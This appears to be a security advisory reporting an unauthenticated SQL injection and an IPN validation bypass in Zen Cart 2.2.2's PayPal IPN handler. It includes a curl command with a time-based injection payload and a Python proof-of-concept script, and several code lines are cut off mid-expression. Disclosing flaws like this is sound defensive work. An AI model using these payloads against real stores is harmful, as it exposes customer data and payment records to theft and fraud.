Security Report: Unauthenticated SQL Injection via zen_db_perform() WHERE Clause in ipn_main_handler.php

Summary

An unauthenticated SQL injection vulnerability exists in Zen Cart 2.2.2's PayPal IPN handler (`ipn_main_handler.php`). The vulnerability arises because user-supplied input from the `txn_id` POST parameter is directly concatenated into a SQL `UPDATE` statement's `WHERE` clause within the `zen_db_perform()` function without sanitization or parameterization.

Details

The vulnerability is rooted in how the system handles PayPal Instant Payment Notifications (IPN). In `ipn_main_handler.php`, the script processes incoming POST data from PayPal. When a transaction type is determined to be an update (e.g., a "Denied" payment status), the script calls `zen_db_perform()` to update the `paypal` table.

The call in `ipn_main_handler.php` (around line 494) is:

```php
zen_db_perform(TABLE_PAYPAL, $sql_data_array, 'update',
    "txn_id='" . ($txn_type === 'cleared-authorization' ? $_POST['parent_txn_id
```

The `zen_db_perform()` function in [database.php] (file:///zen/includes/functions/database.php) (around line 131) processes this as follows:

```php
} elseif (strtolower($performType) === 'update') {
    $query = 'UPDATE ' . $tableName . ' SET ';
    foreach ($tableData as $columns => $value) {
        $query .= $columns . ' = \'' . $db->prepare_input($value) . '\', ';
    }
    $query = substr($query, 0, -2) . ' WHERE ' . $whereCondition;
}
```

While the `SET` clause values are sanitized using `prepare_input()`, the `$whereCondition` is appended directly to the query string. By supplying a malicious `txn_id`, an attacker can inject arbitrary SQL commands. Furthermore, the IPN validation check can be bypassed by prefixing the `custom` parameter with `EC-`, `DP-`, or `WPP`, which sets `$isECtransaction` to `true` and prevents the script from terminating upon validation failure.

Proof of Concept (PoC)

1. **Prerequisites:**
   - At least one record must exist in the `paypal` table (e.g., `SEED_TXN_001`).
2. **Step 1: Verify Time-based Injection** Send a POST request to `ipn_main_handler.php` with a payload designed to trigger a delay:

   ```bash
   curl -s -X POST http://localhost:8000/ipn_main_handler.php \
     -d "custom=EC-bypass" \
     -d "txn_id=SEED_TXN_001' AND SLEEP(5) AND '1'='1" \
     -d "parent_txn_id=SEED_TXN_001" \
     -d "payment_status=Denied" \
     -d "txn_type=web_accept"
   ```

3. **Observation:** The server response will be delayed by approximately 5 seconds, confirming the execution of the `SLEEP()` command.

Exploitation Script (poc.py)

```python
import sys
import urllib.request
import urllib.parse
import urllib.error
import time
import string

TARGET = "http://localhost:8000/ipn_main_handler.php"
SEED_TXN_ID = "SEED_TXN_001"

def send_payload(payload: str, timeout: int = 30) -> float:
    data = {
        "custom": "EC-test123",
        "txn_id": payload,
        "parent_txn_id": SEED_TXN_ID,
        "txn_type": "web_accept",
        "payment_status": "Denied",
        "payment_type": "instant",
        "payer_email": "test@test.com",
        "payer_id": "test123",
        "business": "test@test.com",
        "receiver_email": "test@test.com",
        "receiver_id": "test123",
        "notify_version": "1.0",
        "verify_sign": "test",
        "mc_currency": "USD",
    }
    encoded = urllib.parse.urlencode(data).encode("utf-8")
    req = urllib.request.Request(TARGET, data=encoded)
    start = time.time()
    try:
        urllib.request.urlopen(req, timeout=timeout)
    except Exception:
        pass
    return time.time() - start

def verify_injection():
    print("[*] Verifying SQL injection...")
    t_true = send_payload(f"{SEED_TXN_ID}' AND IF(1=1, SLEEP(3), 0) AND '1'='1"
    t_false = send_payload(f"{SEED_TXN_ID}' AND IF(1=2, SLEEP(3), 0) AND '1'='1
```

```
    print(f"    True condition time: {t_true:.2f}s, False condition time: {t_fa
    return t_true > t_false + 2.0

if __name__ == "__main__":
    if verify_injection():
        print("[+] SQL injection CONFIRMED!")
    else:
        print("[-] Failed to confirm injection.")
```

Impact

Successful exploitation allows an unauthenticated attacker to:

- Read sensitive data from the database, including administrator password hashes, customer PII, and order history.
- Modify transaction records in the `paypal` table, potentially leading to financial fraud.
- Perform administrative actions by extracting and cracking administrator credentials.

Weakness

- **CWE-89:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Previous page
RCE via Arbitrary File Write